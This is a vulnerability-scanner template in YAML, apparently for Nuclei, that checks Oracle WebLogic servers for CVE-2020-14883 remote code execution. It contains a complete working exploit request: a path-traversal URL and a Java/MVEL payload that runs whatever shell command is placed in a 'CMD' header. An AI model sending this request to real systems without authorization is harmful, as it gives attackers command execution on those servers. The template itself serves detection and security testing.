60 lines
2.9 KiB
YAML
60 lines
2.9 KiB
YAML
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id: CVE-2020-14883
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info:
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name: Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution
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author: pdteam
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severity: high
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description: The Oracle Fusion Middleware WebLogic Server admin console in versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is vulnerable to an easily exploitable vulnerability that allows high privileged attackers with network access via HTTP to compromise Oracle WebLogic Server.
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reference:
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- https://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883
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- https://www.oracle.com/security-alerts/cpuoct2020.html
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- http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 7.2
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cve-id: CVE-2020-14883
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tags: oracle,rce,weblogic,kev,packetstorm,cve,cve2020
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http:
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- raw:
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- |
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POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
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Host: {{Hostname}}
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Accept-Language: en
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CMD: {{cmd}}
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Content-Type: application/x-www-form-urlencoded
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Accept-Encoding: gzip, deflate
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test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("CMD");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
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payloads:
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cmd:
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- id
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "ADMINCONSOLESESSION"
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- type: word
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part: body
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words:
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- 'uid='
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- 'gid='
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- 'groups='
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condition: and
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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regex:
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- "(u|g)id=.*"
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# Enhanced by mp on 2022/04/20
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